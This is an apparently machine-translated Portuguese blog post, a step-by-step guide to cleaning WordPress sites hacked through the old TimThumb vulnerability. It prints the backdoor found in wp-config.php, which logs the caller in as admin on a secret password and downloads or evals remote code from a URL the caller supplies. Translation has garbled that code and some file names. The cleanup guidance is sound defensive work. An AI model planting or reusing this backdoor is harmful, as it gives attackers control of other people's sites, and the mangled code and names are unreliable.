Então, se você se lembrar corretamente, houve um problema de segurança com o script TimThumb em agosto, que foi corrigido. Entretanto, para nossa surpresa, muitos sites ainda estão usando a versão antiga. Nós reparamos três sites até o momento no mês passado, um sendo ontem. Então, faz sentido simplesmente escrever um artigo passo a passo, então nossos usuários podem apenas segui-lo. Todos os três usuários que corrigimos essa questão nem sabia o que TimThumb era ou se eles estavam usando ou não.
TimThumb é um script PHP que redimensiona as imagens. Houve uma vulnerabilidade nele, mas é SEGURO usar agora.
Então, como você sabe que seu site é pirateado? Se você vir uma tela vermelha grande em seu navegador quando visitar seu site:

Se você começar a ser bombardeado com e-mails sobre usuários sendo redirecionados do seu site. Provavelmente, o caso é que seu site foi vítima dessa exploração.
Como medida pró-cautela, todos devem usar este Scanner de Vulnerabilidade Timthumb. Isso irá dizer se você está usando a versão mais antiga do TimThumb. Muitos clubes temáticos atualizaram seu núcleo imediatamente. Então este plugin verificará se a nova versão segura do Timthumb está instalada ou uma versão mais antiga está instalada.
Agora, se seu site já está preso a esta explicação Timthumb, então aqui está o que você precisa fazer.
Primeiro você precisa excluir os seguintes arquivos:
/wp-admin/upd.php /wp-content/upd.php
Faça login no painel de administração do WordPress e reinstale sua versão do WordPress. Estamos especificamente procurando reinstalar esses arquivos:
/wp-settings.php /wp-includes/js/jquery/jquery.js /wp-includes/js/110n.js
Então abra seu wp-config.php onde você provavelmente encontrará este código de malware grande que está coletando credenciais de login e cookies. Este código será em direção ao fundo.
se (isset ($ _ GET ['pingnow']) && isset ($ _ GET ['pass'])) {
se ($ _GET ['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22') {
se ($ _GET ['pingnow'] == 'login') {
$ user_login = 'admin';
$ user = get_userdatabylogin ($ user_login);
$ user_id = $ user-> ID;
wp_set_current_user ($ user_id, $ user_login);
wp_set_auth_cookie ($ user_id);
do_action ('wp_login', $ user_login);
}
se (($ _GET ['pingnow'] == 'exec') && (isset ($ _ GET ['file']))) {
$ ch = curl_init ($ _ GET ['file']);
$ fnm = md5 (rand (0,100)). '. php';
$ fp = fopen ($ fnm, "w");
curl_setopt ($ ch, CURLOPT_FILE, $ fp);
curl_setopt ($ ch, CURLOPT_HEADER, 0);
curl_setopt ($ ch, CURLOPT_TIMEOUT, 5);
curl_exec ($ ch);
curl_close ($ ch);
fclose ($ fp);
eco "";
}
se (($ _GET ['pingnow'] == 'eval') && (isset ($ _ GET ['file']))) {
$ ch = curl_init ($ _ GET ['file']);
curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ ch, CURLOPT_HEADER, 0);
curl_setopt ($ ch, CURLOPT_TIMEOUT, 5);
$ re = curl_exec ($ ch);
curl_close ($ ch);
eval ($ re);
}}}
Na pasta do seu tema, procure por qualquer lugar onde o script TimThumb possa armazenar os arquivos em cache. Geralmente eles estão nesta estrutura:
/wp-content/themes/themename/scripts/cache/external_{MD5Hash}.php
/wp-content/themes/themename/temp/cache/external_{MD5Hash}.php
Exclua tudo que se pareça com isto. Se você não tem certeza sobre as coisas, exclua tudo o que não é um arquivo de imagem.
A próxima coisa que você quer fazer é substituir timthumb.php pela última versão que pode ser encontrada em http://timthumb.googlecode.com/svn/trunk/timthumb.php
Agora, seria uma boa idéia mudar suas senhas começando com suas informações de login do MySQL para suas informações de login do WordPress. Não se esqueça de alterar a senha do MySQL no wp-config.php ou você terá a tela “Erro que estabelece conexão”.
Mude as chaves secretas no seu arquivo wp-config.php. Você pode gerar uma nova chave acessando o gerador online.
Agora você está pronto. Não esqueça de esvaziar todos os plugins de cache de página. Como medida cautelosa, é bom limpar o cache e os cookies do seu navegador.
Para desenvolvedores, tente usar o recurso Tamanho de imagem adicional no WordPress para substituir as funcionalidades de Timthumb.
Deixe-nos saber se você precisa de mais assistência usando nosso formulário de contato.